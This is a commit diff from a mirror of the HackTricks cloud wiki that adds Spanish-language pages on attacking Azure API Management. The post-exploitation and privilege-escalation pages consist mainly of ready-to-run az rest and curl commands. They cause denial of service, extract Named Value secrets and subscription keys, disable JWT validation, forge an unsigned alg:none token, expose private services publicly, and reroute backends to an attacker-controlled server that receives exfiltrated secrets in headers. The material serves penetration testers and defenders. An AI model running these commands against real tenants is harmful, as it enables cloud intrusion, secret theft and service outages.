mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-26 12:51:33 -08:00
Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az
This commit is contained in:
@@ -0,0 +1,75 @@
|
||||
# Azure - API Management Post-Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## `Microsoft.ApiManagement/service/apis/policies/write` or `Microsoft.ApiManagement/service/policies/write`
|
||||
El atacante puede usar múltiples vectores para provocar un denial of service. Para bloquear el tráfico legítimo, el atacante añade políticas de rate-limiting y de cuota con valores extremadamente bajos, impidiendo efectivamente el acceso normal:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"format": "rawxml",
|
||||
"value": "<policies><inbound><rate-limit calls=\"1\" renewal-period=\"3600\" /><quota calls=\"10\" renewal-period=\"86400\" /><base /></inbound><backend><forward-request /></backend><outbound><base /></outbound></policies>"
|
||||
}
|
||||
}'
|
||||
```
|
||||
Para bloquear direcciones IP legítimas de clientes específicas, el atacante puede añadir políticas de filtrado de IP que rechacen solicitudes procedentes de direcciones seleccionadas:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"format": "rawxml",
|
||||
"value": "<policies><inbound><ip-filter action=\"forbid\"><address>1.2.3.4</address><address>1.2.3.5</address></ip-filter><base /></inbound><backend><forward-request /></backend><outbound><base /></outbound></policies>"
|
||||
}
|
||||
}'
|
||||
```
|
||||
## `Microsoft.ApiManagement/service/backends/write` or `Microsoft.ApiManagement/service/backends/delete`
|
||||
Para provocar que las solicitudes fallen, el atacante puede modificar la configuración del backend y cambiar su URL a una dirección inválida o inaccesible:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
|
||||
--headers "Content-Type=application/json" "If-Match=*" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"url": "https://invalid-backend-that-does-not-exist.com",
|
||||
"protocol": "http"
|
||||
}
|
||||
}'
|
||||
```
|
||||
O eliminar backends:
|
||||
```bash
|
||||
az rest --method DELETE \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
|
||||
--headers "If-Match=*"
|
||||
```
|
||||
## `Microsoft.ApiManagement/service/apis/delete`
|
||||
Para dejar APIs críticas inaccesibles, el atacante puede eliminarlas directamente desde el servicio API Management:
|
||||
```bash
|
||||
az rest --method DELETE \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>?api-version=2024-05-01" \
|
||||
--headers "If-Match=*"
|
||||
```
|
||||
## `Microsoft.ApiManagement/service/write` or `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action`
|
||||
Para bloquear el acceso desde Internet, el atacante puede deshabilitar el acceso público a la red en el servicio API Management:
|
||||
```bash
|
||||
az rest --method PATCH \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>?api-version=2024-05-01" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"publicNetworkAccess": "Disabled"
|
||||
}
|
||||
}'
|
||||
```
|
||||
## `Microsoft.ApiManagement/service/subscriptions/delete`
|
||||
Para bloquear el acceso de usuarios legítimos, el atacante puede eliminar subscriptions de API Management:
|
||||
```bash
|
||||
az rest --method DELETE \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<apim-subscription-id>?api-version=2024-05-01" \
|
||||
--headers "If-Match=*"
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,170 @@
|
||||
# Az - API Management Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## `Microsoft.ApiManagement/service/namedValues/read` & `Microsoft.ApiManagement/service/namedValues/listValue/action`
|
||||
|
||||
El ataque consiste en acceder a secretos sensibles almacenados en Azure API Management Named Values, ya sea recuperando directamente los valores secretos o abusando de permisos para obtener secretos respaldados por Key Vault mediante managed identities.
|
||||
```bash
|
||||
az apim nv show-secret --resource-group <resource-group> --service-name <service-name> --named-value-id <named-value-id>
|
||||
```
|
||||
## `Microsoft.ApiManagement/service/subscriptions/read` & `Microsoft.ApiManagement/service/subscriptions/listSecrets/action`
|
||||
Para cada suscripción, el atacante puede obtener las claves de la suscripción usando el endpoint listSecrets con el método POST:
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<subscription-sid>/listSecrets?api-version=2024-05-01"
|
||||
```
|
||||
La respuesta incluye la clave primaria de suscripción (primaryKey) y la clave secundaria (secondaryKey). Con estas claves, el atacante puede autenticarse y acceder a las APIs publicadas a través del API Management Gateway:
|
||||
```bash
|
||||
curl -H "Ocp-Apim-Subscription-Key: <primary-key-or-secondary-key>" \
|
||||
https://<service-name>.azure-api.net/<api-path>
|
||||
```
|
||||
El atacante puede acceder a todas las APIs y productos asociados con la suscripción. Si la suscripción tiene acceso a productos o APIs sensibles, el atacante puede obtener información confidencial o realizar operaciones no autorizadas.
|
||||
|
||||
## `Microsoft.ApiManagement/service/policies/write` or `Microsoft.ApiManagement/service/apis/policies/write`
|
||||
|
||||
El atacante primero recupera la política actual de la API:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/?api-version=2024-05-01&format=rawxml"
|
||||
```
|
||||
El atacante puede modificar la política de múltiples maneras según sus objetivos. Por ejemplo, para desactivar la autenticación, si la política incluye validación de tokens JWT, el atacante puede eliminar o comentar esa sección:
|
||||
```xml
|
||||
<policies>
|
||||
<inbound>
|
||||
<base />
|
||||
<!-- JWT validation removed by the attacker -->
|
||||
<!-- <validate-jwt header-name="Authorization" failed-validation-httpcode="401" >
|
||||
...
|
||||
</validate-jwt> -->
|
||||
</inbound>
|
||||
<backend>
|
||||
<base />
|
||||
</backend>
|
||||
<outbound>
|
||||
<base />
|
||||
</outbound>
|
||||
<on-error>
|
||||
<base />
|
||||
</on-error>
|
||||
</policies>
|
||||
```
|
||||
Para eliminar los controles de rate limiting y permitir ataques de denial-of-service, el atacante puede eliminar o comentar las políticas de quota y rate-limit:
|
||||
```xml
|
||||
<policies>
|
||||
<inbound>
|
||||
<base />
|
||||
<!-- Rate limiting removed by the attacker -->
|
||||
<!-- <rate-limit calls="100" renewal-period="60" />
|
||||
<quota-by-key calls="1000" renewal-period="3600" counter-key="@(context.Subscription.Id)" /> -->
|
||||
</inbound>
|
||||
...
|
||||
</policies>
|
||||
```
|
||||
Para modificar la ruta del backend y redirigir el tráfico a un servidor controlado por el atacante:
|
||||
```xml
|
||||
<policies>
|
||||
...
|
||||
<inbound>
|
||||
<base />
|
||||
<set-backend-service base-url="https://attacker-controlled-server.com" />
|
||||
</inbound>
|
||||
...
|
||||
</policies>
|
||||
```
|
||||
El atacante aplica entonces la política modificada. El cuerpo de la petición debe ser un objeto JSON que contenga la política en formato XML:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"format": "rawxml",
|
||||
"value": "<policies><inbound><base /></inbound><backend><base /></backend><outbound><base /></outbound><on-error><base /></on-error></policies>"
|
||||
}
|
||||
}'
|
||||
```
|
||||
## Misconfiguración de validación de JWT
|
||||
|
||||
El atacante necesita saber que una API usa validación de tokens JWT y que la policy está mal configurada. Las policies de validación de JWT mal configuradas pueden tener `require-signed-tokens="false"` o `require-expiration-time="false"`, lo que permite que el servicio acepte tokens sin firmar o tokens que nunca expiran.
|
||||
|
||||
El atacante crea un token JWT malicioso usando el algoritmo none (sin firmar):
|
||||
```
|
||||
# Header: {"alg":"none"}
|
||||
# Payload: {"sub":"user"}
|
||||
eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0.
|
||||
```
|
||||
El atacante envía una solicitud a la API usando el token malicioso:
|
||||
```bash
|
||||
curl -X GET \
|
||||
-H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0." \
|
||||
https://<apim>.azure-api.net/path
|
||||
```
|
||||
Si la política está mal configurada con `require-signed-tokens="false"`, el servicio aceptará el token no firmado. El atacante también puede crear un token sin un expiration claim si `require-expiration-time="false"`.
|
||||
|
||||
## `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action`
|
||||
El atacante primero verifica la configuración de red actual del servicio:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01"
|
||||
```
|
||||
El atacante revisa la respuesta JSON para verificar los valores de `publicNetworkAccess` y `virtualNetworkType`. Si `publicNetworkAccess` está establecido en false o `virtualNetworkType` está establecido en Internal, el servicio está configurado para acceso privado.
|
||||
|
||||
Para exponer el servicio a Internet, el atacante debe cambiar ambos ajustes. Si el servicio se está ejecutando en modo interno (`virtualNetworkType: "Internal"`), el atacante lo cambia a None o External y habilita el acceso de red público. Esto se puede hacer usando la Azure Management API:
|
||||
```bash
|
||||
az rest --method PATCH \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"publicNetworkAccess": "Enabled",
|
||||
"virtualNetworkType": "None"
|
||||
}
|
||||
}'
|
||||
```
|
||||
Una vez que `virtualNetworkType` se establece en `None` o `External` y `publicNetworkAccess` está habilitado, el servicio y todas sus APIs se vuelven accesibles desde Internet, incluso si anteriormente estaban protegidos detrás de una red privada o endpoints privados.
|
||||
|
||||
## `Microsoft.ApiManagement/service/backends/write`
|
||||
El atacante primero enumera los backends existentes para identificar cuál modificar:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends?api-version=2024-05-01"
|
||||
```
|
||||
El atacante obtiene la configuración actual del backend que quiere modificar:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01"
|
||||
```
|
||||
El atacante modifica la URL del backend para que apunte a un servidor bajo su control. Primero, obtienen el ETag de la respuesta anterior y luego actualizan el backend:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
|
||||
--headers "Content-Type=application/json" "If-Match=*" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"url": "https://attacker-controlled-server.com",
|
||||
"protocol": "http",
|
||||
"description": "Backend modified by attacker"
|
||||
}
|
||||
}'
|
||||
```
|
||||
Alternativamente, el atacante puede configurar cabeceras de backend para exfiltrar Named Values que contengan secretos. Esto se hace a través de la configuración de credenciales de backend:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
|
||||
--headers "Content-Type=application/json" "If-Match=*" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"url": "https://attacker-controlled-server.com",
|
||||
"protocol": "http",
|
||||
"credentials": {
|
||||
"header": {
|
||||
"X-Secret-Value": ["{{named-value-secret}}"]
|
||||
}
|
||||
}
|
||||
}
|
||||
}'
|
||||
```
|
||||
Con esta configuración, Named Values se envían como encabezados en todas las solicitudes al backend controlado por el atacante, lo que permite la exfiltración de secretos sensibles.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,76 @@
|
||||
# Az - API Management
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Información básica
|
||||
|
||||
Azure API Management (APIM) es un servicio totalmente gestionado que ofrece una **plataforma unificada para publicar, asegurar, transformar, gestionar y monitorizar APIs**. Permite a las organizaciones **centralizar su estrategia de API** y asegurar una gobernanza, rendimiento y seguridad consistentes en todos sus servicios. Al actuar como una capa de abstracción entre los servicios backend y los consumidores de APIs, APIM simplifica la integración y mejora la mantenibilidad mientras proporciona capacidades operativas y de seguridad esenciales.
|
||||
|
||||
## Conceptos clave
|
||||
|
||||
**El API Gateway** sirve como el punto de entrada único para todo el tráfico de API, manejando funciones como enrutar solicitudes a los servicios backend, aplicar límites de velocidad, almacenar en caché respuestas y gestionar autenticación y autorización. Este gateway está totalmente alojado y gestionado por Azure, garantizando alta disponibilidad y escalabilidad.
|
||||
|
||||
**El Developer Portal** proporciona un entorno de autoservicio donde los consumidores de APIs pueden descubrir las APIs disponibles, leer la documentación y probar endpoints. Ayuda a agilizar el onboarding ofreciendo herramientas interactivas y acceso a la información de suscripciones.
|
||||
|
||||
**El Management Portal (Management Plane)** es utilizado por los administradores para configurar y mantener el servicio APIM. Desde aquí, los usuarios pueden definir APIs y operaciones, configurar control de acceso, aplicar políticas, gestionar usuarios y organizar APIs en products. Este portal centraliza la administración y asegura una gobernanza de API consistente.
|
||||
|
||||
|
||||
## Autenticación y autorización
|
||||
|
||||
Azure API Management soporta varios **mecanismos de autenticación** para asegurar el acceso a las APIs. Estos incluyen **claves de suscripción**, **tokens OAuth 2.0** y **certificados de cliente**. APIM también se integra de forma nativa con **Microsoft Entra ID**, habilitando **gestión de identidad a nivel empresarial** y **acceso seguro** tanto a las APIs como a los servicios backend.
|
||||
|
||||
## Políticas
|
||||
|
||||
Las políticas en APIM permiten a los administradores personalizar el **procesamiento de solicitudes y respuestas** en varias granularidades, incluyendo el nivel de **servicio**, **API**, **operación** o **product**. A través de políticas, es posible aplicar **validación de tokens JWT**, **transformar payloads XML o JSON**, **aplicar limitación de tasa**, **restringir llamadas por dirección IP** o **autenticar contra servicios backend usando managed identities**. Las políticas son **altamente flexibles** y forman una de las **fortalezas principales** de la plataforma API Management, permitiendo **control fino sobre el comportamiento en tiempo de ejecución** sin modificar el código backend.
|
||||
|
||||
## Valores con nombre
|
||||
|
||||
El servicio proporciona un mecanismo llamado **Valores con nombre**, que permite almacenar **información de configuración** como **secretos**, **API keys**, u otros valores requeridos por las políticas.
|
||||
|
||||
Estos valores pueden almacenarse directamente dentro de APIM o referenciarse de forma segura desde **Azure Key Vault**. Los Valores con nombre fomentan una **gestión segura y centralizada** de los datos de configuración y simplifican la creación de políticas al permitir **referencias reutilizables** en lugar de valores hardcodeados.
|
||||
|
||||
## Integración de red y seguridad
|
||||
|
||||
Azure API Management se integra sin problemas con entornos de **Virtual Network (VNet)**, permitiendo **conectividad privada y segura** a sistemas backend.
|
||||
|
||||
Cuando se despliega dentro de una **Virtual Network (VNet)**, APIM puede acceder a **servicios internos** sin exponerlos públicamente. El servicio también permite la configuración de **certificados personalizados** para soportar **autenticación TLS mutua** con servicios backend, mejorando la seguridad en escenarios donde se requiere una **validación de identidad sólida**.
|
||||
|
||||
Estas **características de red** hacen que APIM sea adecuado tanto para arquitecturas **nativas de la nube** como **híbridas**.
|
||||
|
||||
|
||||
### Enumerar
|
||||
|
||||
Para enumerar el servicio de API Management:
|
||||
```bash
|
||||
# Lists all Named Values configured in the Azure API Management instance
|
||||
az apim nv list --resource-group <resource-group> --service-name <service-name>
|
||||
|
||||
# Retrieves all policies applied at the API level in raw XML format
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/?api-version=2024-05-01&format=rawxml"
|
||||
|
||||
# Retrieves the effective policy for a specific API in raw XML format
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01&format=rawxml"
|
||||
|
||||
# Gets the configuration details of the APIM service instance
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01"
|
||||
|
||||
# Lists all backend services registered in the APIM instance
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends?api-version=2024-05-01"
|
||||
|
||||
# Retrieves details of a specific backend service
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01"
|
||||
|
||||
# Gets general information about the APIM service
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>?api-version=2024-05-01"
|
||||
|
||||
# Calls an exposed API endpoint through the APIM gateway
|
||||
curl https://<apim>.azure-api.net/<api-path>
|
||||
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user